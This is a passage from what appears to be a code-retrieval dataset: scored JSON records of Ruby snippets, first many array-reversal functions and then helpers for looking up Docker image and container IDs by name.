"text": "def reverse!(arr)\r\n n = arr.length/2\r\n (1..n).each do |i|\r\n arr[i-1], arr[-i] = arr[-i], arr[i-1]\r\n end\r\n arr\r\nend",
"title": ""
},
{
"docid": "ecff7ef690fcabf9bcbbf2da220314d8",
"score": "0.7787643",
"text": "def reverse(arr)\n new_array = []\n arr.reverse_each { |x| new_array << x }\n new_array\nend",
"title": ""
},
{
"docid": "a4295907390631e1705de433a7c1de26",
"score": "0.7786314",
"text": "def reverse_array(array)\n array.reverse \nend",
"title": ""
},
{
"docid": "a4295907390631e1705de433a7c1de26",
"score": "0.7786314",
"text": "def reverse_array(array)\n array.reverse \nend",
"title": ""
},
{
"docid": "a4295907390631e1705de433a7c1de26",
"score": "0.7786314",
"text": "def reverse_array(array)\n array.reverse \nend",
"title": ""
},
{
"docid": "a4295907390631e1705de433a7c1de26",
"score": "0.7786314",
"text": "def reverse_array(array)\n array.reverse \nend",
"title": ""
},
{
"docid": "a4295907390631e1705de433a7c1de26",
"score": "0.7786314",
"text": "def reverse_array(array)\n array.reverse \nend",
"title": ""
},
{
"docid": "aadb4a42249dd68ce3ace64e209929ce",
"score": "0.7785407",
"text": "def reverse(an_array)\n an_array.reverse\nend",
"title": ""
},
{
"docid": "d6fbb1d666e1a4de81f65c6874f0ee30",
"score": "0.77783775",
"text": "def reverse!(list)\n left_index = 0\n right_index = -1\n while left_index < list.size/2\n list[left_index], list[right_index] = list[right_index], list[left_index]\n left_index += 1\n right_index -= 1\n end\n list\nend",
"title": ""
},
{
"docid": "333b5bd6011ce387f89a638d2c77ba96",
"score": "0.77757215",
"text": "def reverse_array(array)\n\n array.reverse\n\nend",
"title": ""
},
{
"docid": "14fddcd64f061e221389a84b3c5109ee",
"score": "0.7775216",
"text": "def reverse\n LazyList.new { reduce(EmptyList) { |list, item| list.cons(item) }}\n end",
"title": ""
},
{
"docid": "655e3a7eff3ee3c9582dc6013edd04b1",
"score": "0.7774108",
"text": "def reverse(array)\n result_array = []\n array.reverse_each { |item| result_array << item } # rever_each reverses each item easily\n result_array # return the result_array\nend",
"title": ""
},
{
"docid": "1dbcce6543881c40049b67f6dc6b5fcc",
"score": "0.7770602",
"text": "def reverse_array(array)\narray.reverse\nend",
"title": ""
},
{
"docid": "160fe7b79b9c8493898c0b7b4b8a5ddb",
"score": "0.77695435",
"text": "def reverse(list)\n list.each_with_object([]) { |value, arr| arr.unshift(value) }\nend",
"title": ""
},
{
"docid": "3f0e6c32197099140838778410709b91",
"score": "0.77633446",
"text": "def reverse(array)\n result_array = []\n array.reverse_each { |el| result_array << element }\n result_array\nend",
"title": ""
},
{
"docid": "00432a8126905f2632cac934a7a5ae51",
"score": "0.77619874",
"text": "def reverse_array (array)\n array.reverse\nend",
"title": ""
},
{
"docid": "065d45f9292c3c2727f7ba853f1ee7d2",
"score": "0.77587235",
"text": "def reverse_list list\n new_array = []\n i = list.length - 1\n while i >= 0 \n new_array.push(list[i])\n i -= 1\n # do a thing\n end \n new_array\nend",
"title": ""
},
{
"docid": "948d9c973c95e164863928978327ef65",
"score": "0.775793",
"text": "def reverse_things(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "f74f336f445aa388e8cd5a7d0db419c9",
"score": "0.77572435",
"text": "def reverse_list\n if @size ==0\n p \"List is empty, nothing to reverse\"\n return\n end\n new_tail = @head\n current_node = @head\n previous_node = nil\n index =0\n while index < @size\n next_node = current_node.next\n current_node.next = previous_node\n previous_node = current_node\n current_node = next_node\n index +=1\n end\n @head = previous_node\n @tail = new_tail\n @tail.next = @head\n end",
"title": ""
},
{
"docid": "f43a038d67a9e5546a1405dd53bc2b92",
"score": "0.7755879",
"text": "def reverse!(array)\n size = array.size\n dummy_array = []\n array.each { |elem| dummy_array << elem }\n array.clear\n size.times do\n array << dummy_array[-1]\n dummy_array.pop\n end\n array\nend",
"title": ""
},
{
"docid": "da68890b74e1e660a26262717b822bf0",
"score": "0.77546996",
"text": "def reverse!(arr)\n arr_copy = arr.slice(0..-1)\n arr.delete_if { |e| e }\n arr.push(arr_copy.pop) until arr_copy.empty?\n arr\n\n # alternatives:\n # list.each_with_index do |value, index|\n # list.insert(index, list.pop)\n # end\n # list\n\n # left_index = 0\n # right_index = -1\n # while left_index < array.size / 2\n # array[left_index], array[right_index] = array[right_index], array[left_index]\n # left_index += 1\n # right_index -= 1\n # end\n # array\nend",
"title": ""
},
{
"docid": "5aea996cba1e3b6f8531e18587a2c6b7",
"score": "0.77542573",
"text": "def reverse(array)\n result = []\n array.reverse_each do |element|\n result << element\n end\n result\nend",
"title": ""
},
{
"docid": "cde171bbb308d2803bc28ce52500e350",
"score": "0.7745583",
"text": "def reverse!(array)\n (array.size / 2).times do |index|\n array[index], array[-(index+1)] = array[-(index+1)], array[index]\n end\n array\nend",
"title": ""
},
{
"docid": "87d96e3e9e04e1289d7a10c475321373",
"score": "0.7743898",
"text": "def reverse_array(array)\n array.reverse\n\nend",
"title": ""
},
{
"docid": "6bbb2ff99011dc819e72bdf4ea814607",
"score": "0.774103",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "6bbb2ff99011dc819e72bdf4ea814607",
"score": "0.774103",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "6bbb2ff99011dc819e72bdf4ea814607",
"score": "0.774103",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "6bbb2ff99011dc819e72bdf4ea814607",
"score": "0.774103",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "6bbb2ff99011dc819e72bdf4ea814607",
"score": "0.774103",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "6bbb2ff99011dc819e72bdf4ea814607",
"score": "0.774103",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "6bbb2ff99011dc819e72bdf4ea814607",
"score": "0.774103",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "c8f1143129fa971137ab473aa6f17b7e",
"score": "0.7738383",
"text": "def reverse_array( array )\n array.reverse\nend",
"title": ""
},
{
"docid": "3e3e880968bb0d95d6d06c167288ae42",
"score": "0.7730889",
"text": "def cust_reverse_in_place(array)\n i = array.length-1\n dup = []\n until i < 0\n dup << array[i]\n i -= 1\n end \n array.clear\n dup.each {|el| array << el } \n array\nend",
"title": ""
},
{
"docid": "1ba6d76294b50766d984f1bcdab8af6e",
"score": "0.77280766",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "1ba6d76294b50766d984f1bcdab8af6e",
"score": "0.77280766",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "1ba6d76294b50766d984f1bcdab8af6e",
"score": "0.77280766",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "1ba6d76294b50766d984f1bcdab8af6e",
"score": "0.77280766",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "1ba6d76294b50766d984f1bcdab8af6e",
"score": "0.77280766",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "1ba6d76294b50766d984f1bcdab8af6e",
"score": "0.77280766",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "1ba6d76294b50766d984f1bcdab8af6e",
"score": "0.77280766",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "1ba6d76294b50766d984f1bcdab8af6e",
"score": "0.77280766",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "1ba6d76294b50766d984f1bcdab8af6e",
"score": "0.77280766",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "1ba6d76294b50766d984f1bcdab8af6e",
"score": "0.77280766",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
},
{
"docid": "1ba6d76294b50766d984f1bcdab8af6e",
"score": "0.77280766",
"text": "def reverse_array(array)\n array.reverse\nend",
"title": ""
}
] |
0579d2b9219eb29dfc258c2db26ea08d
|
Get docker image id from name
|
[
{
"docid": "43c129fc7c88407598ecf458bbf3ee2c",
"score": "0.8160472",
"text": "def get_docker_image_id_from_name(options)\n image_id = \"none\"\n images = get_docker_image_list(options)\n images.each do |image|\n values = image.split(/\\s+/)\n image_name = values[0]\n image_id = values[2]\n if image_name.match(/#{options['name']}/)\n return image_id\n end\n end\n return image_id\nend",
"title": ""
}
] |
[
{
"docid": "5508120411acad144926dce67fcbb944",
"score": "0.80848444",
"text": "def docker_id(name)\n\t\treturn command_send(\"sudo docker ps -a --no-trunc -f name=#{name} | grep '\\\\s#{name}$' | tail -n 1 | awk '{ print $1 }'\")\n\tend",
"title": ""
},
{
"docid": "d058e796b4e2098c1dfafefc33ddb157",
"score": "0.69442624",
"text": "def get_container_id(name)\n compose_execute(\"ps\", \"-q\", name).chomp\n end",
"title": ""
},
{
"docid": "16c771911a1f0aecbfc938099d5ce925",
"score": "0.6904913",
"text": "def full_image_name\n return generate_name if @options[:generate]\n return \"tongueroo/hi:ufo-12345678\" if ENV['TEST']\n\n unless File.exist?(docker_name_path)\n puts \"Unable to find #{docker_name_path} which contains the last docker image name that was used as a part of `ufo docker build`. Please run `ufo docker build` first.\"\n exit 1\n end\n IO.read(docker_name_path).strip\n end",
"title": ""
},
{
"docid": "5ba29b76a8b27429762d2c9dab31df92",
"score": "0.6759455",
"text": "def get_existing_docker_image()\n @image = Docker::Image.get(ENV['IMAGE_ID'])\n set :docker_image, @image.id\n\n docker_image = @image.id\n puts \"Using supplied image id: #{docker_image}\"\nend",
"title": ""
},
{
"docid": "0048a75fc3fd51d6ed0b3ca23bdaf8dc",
"score": "0.6757014",
"text": "def retrieve_image_id\n name = config['image_name']\n\n img_data = connection.image_list.body[\"DATA\"].find { |i| i[\"LABEL\"] == name }\n if img_data.nil?\n names = connection.image_list.body[\"DATA\"].map { |i| i[\"LABEL\"] }.join(\", \")\n add_error \"There is no image named #{name}. \" \\\n \"Options are: #{names}\"\n else\n id = img_data[\"IMAGEID\"]\n end\n id\n end",
"title": ""
},
{
"docid": "a44598e4dc2b00529916191621ea2e1e",
"score": "0.6723658",
"text": "def ask_id(session, name)\n read_task('rvpe.image.ask_id', session) do\n flag = -1\n admin_session(session, false) { flag = -2 }\n img = Image.find_by_name(name, session, flag).last\n raise \"Image[#{name}] is not found. \" unless img\n\n [true, img.id]\n end\n end",
"title": ""
},
{
"docid": "e97426a3f89594c6bc1ce2c987a49aea",
"score": "0.6675665",
"text": "def extract_local_id_from_manifest(manifest)\n # https://docs.docker.com/registry/spec/api/#manifest\n\n manifest = JSON.parse(manifest)\n\n # last build in history will be local id (if done on this machine)\n last_image_history_entry = JSON.parse(manifest['history'].first[\"v1Compatibility\"])\n return last_image_history_entry['id'][0...12]\n\n end",
"title": ""
},
{
"docid": "a79b42b9963d8c65237726ce0f63940a",
"score": "0.6483556",
"text": "def search_image(name)\n `docker search #{name}`\n end",
"title": ""
},
{
"docid": "72d19a7ab67533ece1d56cb5a7c89e47",
"score": "0.63652843",
"text": "def read_container_id\n @id = ContainerStateFiles.read_container_id(store_address)\n cid = @id\n # SystemDebug.debug(SystemDebug.containers, 'read container from file ', @container_id)\n if @id == -1 || @id.nil? # && set_state != :nocontainer\n info = container_api.inspect_container_by_name(@container_name) # docker_info\n info = info[0] if info.is_a?(Array)\n if info.key?(:RepoTags)\n #No container by that name and it will return images by that name WTF\n @id = -1\n else\n @id = info[:Id] if info.key?(:Id)\n end\n end\n save_state unless cid == @id\n @id\n rescue EnginesException\n clear_cid unless cid == -1\n @id = -1\n end",
"title": ""
},
{
"docid": "da32752466f603a8d3b242e92a4655da",
"score": "0.6347447",
"text": "def jenkins_id(opts)\n\tres = run_in_shell \"docker ps -aqf \\\"name=#{opts[:name]}\\\"\", true\n\tres.gsub( /\\n/, '' )\nend",
"title": ""
},
{
"docid": "79d015eaec632a8e2082f1528575b76f",
"score": "0.62889844",
"text": "def map_image_id(image)\n name, _ = image.name.split(/ \\d/, 2)\n other = image.name.gsub(Regexp.new(\"^#{name} ?\"), '')\n version, extra = other.split(/ +/, 2)\n [name, { version => { :id => image.id, :extra => extra } } ]\n end",
"title": ""
},
{
"docid": "7de3d664a1421dadd2c3d578864920b7",
"score": "0.6270366",
"text": "def current_container_id\n cgroup_content = File.read(\"/proc/1/cgroup\")\n @running_in_container = cgroup_content.include? \"docker/\"\n if @running_in_container\n cgroup_content.split.each { |line|\n if line.include? \"docker/\" or line.include? \"kubepods/\"\n parts = line.split(\":\")\n res_parts = parts[2].split(\"/\")\n return res_parts[-1][0..12]\n end\n }\n end\n nil\nend",
"title": ""
},
{
"docid": "bf2fd532c9c4812c8b57c5e280db2cd4",
"score": "0.6231762",
"text": "def docker_name(name = nil)\n if name\n @docker_name = name\n else @docker_name\n end\n end",
"title": ""
},
{
"docid": "73b34cf4cd56b6cb955db2ce96646815",
"score": "0.6210876",
"text": "def image(image = nil)\n if image\n if image.include?('/')\n # pathological case, a ':' may be present which starts the 'port'\n # part of the image name and not a tag. example: 'host:1337/blah'\n # fortunately, tags are only found in the 'basename' part of image\n # so we can split on '/' and rebuild once the tag has been parsed.\n dirname, _, basename = image.rpartition('/')\n r, t = basename.split(':', 2)\n r = [dirname, r].join('/')\n else\n # normal case, the ':' starts the tag part\n r, t = image.split(':', 2)\n end\n repo r\n tag t if t\n end\n \"#{repo}:#{tag}\"\n end",
"title": ""
},
{
"docid": "6f73791033e596ad2a55478b15878f93",
"score": "0.62065774",
"text": "def get_image(image_name)\n image_res = find_match(@compute.images, image_name)\n image_to_use = (image_res != nil) ? image_res.id : nil\n if image_to_use.nil?\n Puppet.crit \"The image is not found on cloud account!, image_name => #{image_name}\"\n raise Puppet::Error, \"The image is not found on cloud account!, image_name => #{image_name}\"\n else\n Puppet.notice \"Image '#{image_name}' found : '#{image_to_use}'\"\n end\n return image_to_use\n end",
"title": ""
},
{
"docid": "26d752462de0fe80850a2e4359c5e0b1",
"score": "0.615494",
"text": "def unique_container_name\n return DockerWrapper::Container.unique_name(new_resource.container_base_name)\n end",
"title": ""
},
{
"docid": "03d38c2578b30f051c162b793daf1ef1",
"score": "0.6134925",
"text": "def store_full_image_name\n dirname = File.dirname(docker_name_path)\n FileUtils.mkdir_p(dirname) unless File.exist?(dirname)\n full_image_name = generate_name\n IO.write(docker_name_path, full_image_name)\n end",
"title": ""
},
{
"docid": "a0f57e087a5a03e1c5ad5c1af8c5d633",
"score": "0.6092243",
"text": "def get_agent_image_id(image_name = agent_ami_name)\n image = ec2.client.describe_images(\n :filters => [{\n :name => \"name\",\n :values => [image_name]\n }]\n ).flat_map(&:images).first\n raise(\"Unable to find AMI Image #{image_name} to launch Smartstate agent\") if image.nil?\n\n _log.info(\"AMI Image: #{image_name} [#{image.image_id}] is used to launch smartstate agent.\")\n\n image.image_id\n end",
"title": ""
},
{
"docid": "db490daff040141d88cdcfa88208ce97",
"score": "0.60875785",
"text": "def image_id\n data[:image_id]\n end",
"title": ""
},
{
"docid": "d83f18b3d7d5c8cd8de27a4417969daa",
"score": "0.6026292",
"text": "def id\n container_info.ids[0] if container_info.entries.length == 1\n end",
"title": ""
},
{
"docid": "45e9df3dec733d1a552138c6366d2c62",
"score": "0.60188824",
"text": "def default_docker_image\n \"#{env}/#{appname}:#{image_tag}\"\n end",
"title": ""
},
{
"docid": "7e4528d9afa6c94947137c0f5b413904",
"score": "0.5969013",
"text": "def find_image image_name\n \tfound = nil\n\n ::Docker::Image.all.each do | image |\n \t\tfound = image if image.info[\"RepoTags\"] != nil && image.info[\"RepoTags\"].include?(image_name)\n \tend\n\n \treturn found\n end",
"title": ""
},
{
"docid": "78ad7e26d7bf941871c1e1e05da58afd",
"score": "0.59674203",
"text": "def image( name )\n @images[name]\n end",
"title": ""
},
{
"docid": "f4dbcf8e7a48a80be14d3bee6cbbcf95",
"score": "0.5966793",
"text": "def container_name(service)\n File.basename(root_dir).gsub(/\\W/, '') + \"_#{service}_1\"\nend",
"title": ""
},
{
"docid": "cce3d1c19ffed7fe409bdf1aa7dd99ca",
"score": "0.59577626",
"text": "def id(raw = false)\n id = Spotify.image_image_id(@pointer).read_string(20)\n raw ? id : to_hex(id)\n end",
"title": ""
},
{
"docid": "3b7fabf5c2f952954823d9450422d811",
"score": "0.5904453",
"text": "def find_net(name)\n cmd = \"docker network ls -q --filter label=#{label_pair(:name, name)}\"\n netid = `#{cmd}`.chomp\n return netid unless netid.empty?\n nil\n end",
"title": ""
},
{
"docid": "f563d220c08dad80d3fc66f93a3e2217",
"score": "0.5887965",
"text": "def docker_load(image_filename)\n return unless image_filename\n\n \"\\n# Load the uploaded Docker image to the local registry\\n\" \\\n \"#{IMAGE_ID_VAR}=`docker load < #{image_filename} | sed -n -e 's/^Loaded image: //p'`\\n\"\n end",
"title": ""
},
{
"docid": "2043fa89350e9f99521f9dc79a52d141",
"score": "0.58778626",
"text": "def image_id(val=nil)\n from_setting_or_image_info :image_id, val\n end",
"title": ""
},
{
"docid": "6bf6e2bbe3bf88c0e9f5aac7ef317ae5",
"score": "0.58756316",
"text": "def repository_name\n config['image']\n end",
"title": ""
},
{
"docid": "12f411857c0ea3e43e84d511d5a6db0d",
"score": "0.586992",
"text": "def cloudid_from_name(ciName)\n if ciName == nil || ciName.empty?\n # There was not a name specified. Just return nothing.\n return ''\n end\n\n # The cloud ID is the second component of the CI name:\n #\n # basename-cloudid-instance\n #\n # Split on the '-' character and take the second to last component\n #\n nameComponents = ciName.split('-',-1)\n\n cloudid = nameComponents[nameComponents.length - 2]\n\n return cloudid\nend",
"title": ""
},
{
"docid": "fcb849b0c71d1a32172d11e06722308c",
"score": "0.5832578",
"text": "def server_image_id(s)\n s.respond_to?('image_id') ? s.image_id : 'no_image'\n end",
"title": ""
},
{
"docid": "34e6f28424f04b5703fa978897079a99",
"score": "0.58228207",
"text": "def docker_tag_name(name = nil)\n if name\n @docker_tag_name = name\n end\n @docker_tag_name\n end",
"title": ""
},
{
"docid": "e4f06d7cabb9c36f85f2f78f02a8352a",
"score": "0.5805114",
"text": "def ubiquo_image_path(name)\n \"/images/ubiquo/#{name}\"\n end",
"title": ""
},
{
"docid": "b9f7a7c5d19b7c349969908400539433",
"score": "0.5789115",
"text": "def image_name_with_specified_version(version)\n @registry.nil? ? \"#{@name}:#{version}\" : \"#{@registry}/#{@name}:#{version}\"\n end",
"title": ""
},
{
"docid": "dc236f727488e1f513478e48d76b2e4f",
"score": "0.57814443",
"text": "def named_image(name)\n card = named(name)\n return card['image_uris']['normal']\n end",
"title": ""
},
{
"docid": "4814ec911b18eb33d92a288d5ebf392d",
"score": "0.5774701",
"text": "def image_name\n path = \"sets/#{set}/#{dimension}_#{polarity}_#{verbal}\"\n # Rails.application.assets.find_asset(path).nil? ? 'placeholder' : path\n path\n end",
"title": ""
},
{
"docid": "0d1bb94cc2afab92221404dda72aa207",
"score": "0.57685405",
"text": "def base_name(image)\n # Remove registry namespace (anything before the final slash)\n # as well as tag.\n if image.include?(\"/\")\n base = image.split('/').last.split(':').first\n else\n base = image.split(':').first\n end\n\n # Strip noise-word suffixes from image name\n base.sub!(NOISE_WORDS, '')\n\n base\n end",
"title": ""
},
{
"docid": "098e2119f6bb841a9e4a6bbaee3fb834",
"score": "0.5747578",
"text": "def gets_image(input = nil, stdin = $stdin, stderr = $stderr)\n if input.nil?\n default = File.split(Dir.pwd).last\n stderr.write \"Docker image name [#{default}]: \"\n input = stdin.gets.chomp\n end\n Docker::Image.parse(input.empty? ? default : input)\n end",
"title": ""
},
{
"docid": "ac9cf81027bce266c3eafd309ff11b32",
"score": "0.5738632",
"text": "def get_docker_image(directory, dockerfile = 'Dockerfile', debug = false, nocache = false)\n set :backend, :docker\n\n if(ENV['IMAGE_ID'] && Docker::Image.exist?(ENV['IMAGE_ID']))\n get_existing_docker_image()\n else\n build_new_docker_image(directory, dockerfile, debug, nocache)\n end\nend",
"title": ""
},
{
"docid": "4a4df761a317f41622a9e498052a9ee3",
"score": "0.5738297",
"text": "def container_id\n element_id(\"image_input\")\n end",
"title": ""
},
{
"docid": "db5c102bc2b1b971ad4ecfa7aaa099d2",
"score": "0.5722425",
"text": "def image i\n @logger.debug \"OpenStack: Looking up image '#{i}'\"\n @compute_client.images.find { |x| x.name == i } || raise(\"Couldn't find image: #{i}\")\n end",
"title": ""
},
{
"docid": "9e5d9daa09875a136e30f6282903b3f5",
"score": "0.5713481",
"text": "def image_name(url)\n i = 1\n until ((url.last i)[\"/\"] == \"/\") do\n i +=1\n end\n return url.last i-1\n end",
"title": ""
},
{
"docid": "67d6e0486c86c04228fd25c9aff51c40",
"score": "0.57104784",
"text": "def pull_image image_name\n \[email protected] \"Pulling Image: #{image_name}\"\n ::Docker.options = {:chunk_size => 1, :read_timeout => 3600}\n ::Docker::Image.create('fromImage' => image_name)\n end",
"title": ""
},
{
"docid": "47b8fcc9a42eb74c93ad1268b4bc1e9e",
"score": "0.5707842",
"text": "def id\n ChefPlatformSpec.id_from(chef_server, name)\n end",
"title": ""
},
{
"docid": "cbe6c2a79021eb2b5955f30b216d2fbc",
"score": "0.5703253",
"text": "def board_id\n dtag = @discriminator ? @discriminator.to_s[0,1]+'_':''\n \"#{dtag}#{self.img_name}\"\n end",
"title": ""
},
{
"docid": "5494354bbabbb9ce08214c4d1d5fee33",
"score": "0.56981593",
"text": "def imageNameFromUrl(url,idx)\n ImageFinder.nameForImageFromUrl(url,@start_idx,idx)\n end",
"title": ""
},
{
"docid": "a07e473c43f158cebe4ba4251120f8b9",
"score": "0.5693165",
"text": "def description_from_docker(str)\n return str unless str =~ /^[0-9a-f]+$/\n str[0..11]\n end",
"title": ""
},
{
"docid": "91f42ae615b668536534894cfa10896d",
"score": "0.5683856",
"text": "def image_name\n File.basename(image.path || image.filename) if image\n end",
"title": ""
},
{
"docid": "42a149e4950431a5bf46bc0d961dc885",
"score": "0.56542176",
"text": "def storage_pool_id(sys_id, name)\n response = request(:get, \"/devmgr/v2/storage-systems/#{sys_id}/storage-pools\")\n status(response, 200, 'Failed to get pool id')\n storage_pools = JSON.parse(response.body)\n storage_pools.each do |pool|\n return pool['id'] if pool['label'] == name\n end\n nil\n end",
"title": ""
},
{
"docid": "42a149e4950431a5bf46bc0d961dc885",
"score": "0.56542176",
"text": "def storage_pool_id(sys_id, name)\n response = request(:get, \"/devmgr/v2/storage-systems/#{sys_id}/storage-pools\")\n status(response, 200, 'Failed to get pool id')\n storage_pools = JSON.parse(response.body)\n storage_pools.each do |pool|\n return pool['id'] if pool['label'] == name\n end\n nil\n end",
"title": ""
},
{
"docid": "18b7b815742b15028d1ad66c37605868",
"score": "0.5639952",
"text": "def image_name(server)\r\n name = instance.platform.name\r\n return name unless server\r\n\r\n # 1:\r\n if server.downcase.start_with? \"https://cloud-images.ubuntu.com\"\r\n info \"Using cloud-image '#{name}'\"\r\n return name.downcase.sub(/^ubuntu-/, \"\")\r\n end\r\n # 2:\r\n if server.downcase.start_with? \"https://images.linuxcontainers.org\"\r\n name = name.downcase.split(\"-\")\r\n # 'core' parses out in this method as the 'version' so just use 'ubuntu-core' in the kitchen.yml\r\n if UBUNTU_RELEASES.key?(name[1]) && name[0] == \"ubuntu\"\r\n name[1] = UBUNTU_RELEASES[name[1]]\r\n name[0] = \"ubuntu-core\" if name[1] == \"16\" # Logic patch for the edge case. We'll do something different if this gets complicated\r\n end\r\n name = name.join(\"/\")\r\n info \"Using standard image #{name}\"\r\n end\r\n name\r\n end",
"title": ""
},
{
"docid": "6a8181cc6b7ed3d937060b0da8f0fcc0",
"score": "0.56235045",
"text": "def chef_name\n \"#{name}_#{id}\"\n end",
"title": ""
},
{
"docid": "9f5e5ae44bef984bfe409a38fa3a3d07",
"score": "0.56063664",
"text": "def file_name\n \"images/#{@name}.msf\"\n end",
"title": ""
},
{
"docid": "53f8cf8275990a60eb0584a0e541ad04",
"score": "0.5597989",
"text": "def docker_image_ids(id)\n criteria = {:type_ids => [Runcible::Extensions::DockerImage.content_type],\n :fields => {:unit => [], :association => ['unit_id']}}\n\n unit_search(id, criteria).map { |i| i['unit_id'] }\n end",
"title": ""
},
{
"docid": "cf89e68c002ab15d9f216c2f806b4998",
"score": "0.5577787",
"text": "def default_image\n if instance.platform.name =~ /^(.*)-([^-]*)$/\n \"#{$1}:#{$2}\"\n else\n instance.platform.name\n end\n end",
"title": ""
},
{
"docid": "d2098a81baf540453d730ccd4691e70e",
"score": "0.5559278",
"text": "def cluster_list_item_div_id(private_name)\n img_id = cluster_list_div.span(text: /#{Regexp.escape(\"(#{private_name})\")}/).image().id\n img_id[0..-5] #eg changes u532_line0_exp to u532_line0\n end",
"title": ""
},
{
"docid": "cff411c3afbced53ab4a1fd3b2f78083",
"score": "0.5556051",
"text": "def id\n container.id\n end",
"title": ""
},
{
"docid": "b8e88a0c8e8b71f7fee18fd1e51f44c2",
"score": "0.5552471",
"text": "def default_image_id\n region_name = config[:compute_provider][\"#{config[:compute_provider][:name]}_region\".to_sym]\n region_map = images.fetch('regions', {}).fetch(region_name, {})\n image_id = region_map && region_map[instance.platform.name]\n\n if image_id.nil?\n error(\"Could not determine default image_id in #{region_name} region for platform #{instance.platform.name}\")\n end\n\n image_id\n end",
"title": ""
},
{
"docid": "f7c0fcc3f453b73c928b85bb74e9c0ed",
"score": "0.55510515",
"text": "def replace_name_with_id (repo_name)\n return Hubstats::Repo.where(full_name: repo_name).first.id.to_i\nend",
"title": ""
},
{
"docid": "22dce10cf7193b77da83cb2c679cba72",
"score": "0.5537702",
"text": "def container_id\n @container_info[\"Id\"]\n end",
"title": ""
},
{
"docid": "a95b9cbadc6a5abba7b3f5202da369e1",
"score": "0.55229586",
"text": "def get_container_id(image=@ws_image, hosts=@hosts)\n hosts.each do |host|\n Docker.url = \"tcp://#{host}:#{@docker_port}/\"\n containers = Docker::Container.all(all: true, filters: { ancestor: [image],status:['running'] }.to_json)\n return containers.first unless containers.empty?\n end\n fail('Could not found a webserver running')\n end",
"title": ""
},
{
"docid": "526d936fab65cd2e99c4be82668958bc",
"score": "0.5518391",
"text": "def find_normal_image\n return \"Pictures/pcn%04d.png\" % (80 + id)\n end",
"title": ""
},
{
"docid": "dd2ca35be7d595514320215fccd4fd49",
"score": "0.551553",
"text": "def replace_docker_pull(wdl_filename)\n %(\\nsed -i \"s|docker:.*|docker: \\\\\"$#{IMAGE_ID_VAR}\\\\\"|g\" #{wdl_filename}\\n)\n end",
"title": ""
},
{
"docid": "c19a8fd83e3730c59c814c3e0082387e",
"score": "0.5511162",
"text": "def GetServiceId(name)\n id = GetUnitId(Builtins.sformat(\"%1.service\", name))\n return nil if id == nil\n\n # return without .service\n pos = Builtins.search(id, \".service\")\n return nil if Ops.less_or_equal(pos, 0)\n Builtins.substring(id, 0, pos)\n end",
"title": ""
},
{
"docid": "0be25b9c2d00a1f92b4fcb4c4f719cb0",
"score": "0.55072135",
"text": "def find_container_by_commit_id(commit_id, opts={})\n logger = opts[:logger] || Logger.new(STDOUT)\n\n logger.info(\"Getting container id for commit id<#{commit_id}>\")\n \n containers = ::Docker::Container.all.map{|c| c.json}\n\n logger.info(\"Now number of running containers: #{containers.size}\")\n\n ids = Config.read_ids\n\n if ids.empty?\n logger.info(\"No ids in id file\")\n return nil\n end\n\n matched_images = ids.select{|i| i[0] == commit_id}.map{|i| i[1]}\n return nil if matched_images.empty?\n\n matched_container = containers.select{|c| matched_images.include?(c[\"Image\"])}.first\n return nil unless matched_container\n\n return \"#{matched_container[\"NetworkSettings\"][\"IPAddress\"]}:#{CONTAINER_PORT}\"\n end",
"title": ""
},
{
"docid": "85971f52e9775e09adb34a4fecf8a525",
"score": "0.5506371",
"text": "def imageName()\n if (@imageName.nil?)\n if (File.exists?(IMAGE_NAME_FILE))\n File.open(IMAGE_NAME_FILE) { |f|\n @imageName = f.read.chomp\n }\n else\n @imageName = 'unknown'\n MObject.warn(\"Can't find '#{IMAGE_NAME_FILE}'\")\n end\n end\n @imageName\n end",
"title": ""
},
{
"docid": "0ea74f9cec1bd94c1c2c5cd5343cb44b",
"score": "0.55055857",
"text": "def to_param\n docker_uid\n end",
"title": ""
},
{
"docid": "379b912cf85e597129219993a31db699",
"score": "0.5500615",
"text": "def id_for_repo(repo)\n \"#{repo.url}##{repo.version}\"\n end",
"title": ""
},
{
"docid": "633377bb7921c2f7a16e7cdb4b4fb976",
"score": "0.54982835",
"text": "def id\n basename.gsub('.', '-')\n end",
"title": ""
},
{
"docid": "758dae32299d45ccae37369a327af27e",
"score": "0.54974866",
"text": "def id\n name.gsub(':', '-')\n end",
"title": ""
},
{
"docid": "15566a1dc60df8b772d9f0682e4ae4ea",
"score": "0.54970956",
"text": "def identifier\n @blob.basename.split(\".\").first.downcase\n end",
"title": ""
},
{
"docid": "406f9fbf7ffec746f9f2432096fc923e",
"score": "0.5495378",
"text": "def start_run_image\n image_path(image_name: params[:start_run_image])\n end",
"title": ""
},
{
"docid": "cc85dfc96fb7192d54a3114b7e83e98f",
"score": "0.54908127",
"text": "def container_id\n super.to_i rescue nil\n end",
"title": ""
},
{
"docid": "28c198543898011fe4db0279dc4c5737",
"score": "0.5487703",
"text": "def group_gid(name)\n gid = -1\n execute(\"dscacheutil -q group -a name #{name}\") do |result|\n result.stdout.each_line do |line|\n if /^gid:/.match?(line)\n gid = (line[5, line.length - 5]).chomp\n break\n end\n end\n gid\n end\n end",
"title": ""
},
{
"docid": "a667bb1bf41dd015996de06f043b68ac",
"score": "0.54837877",
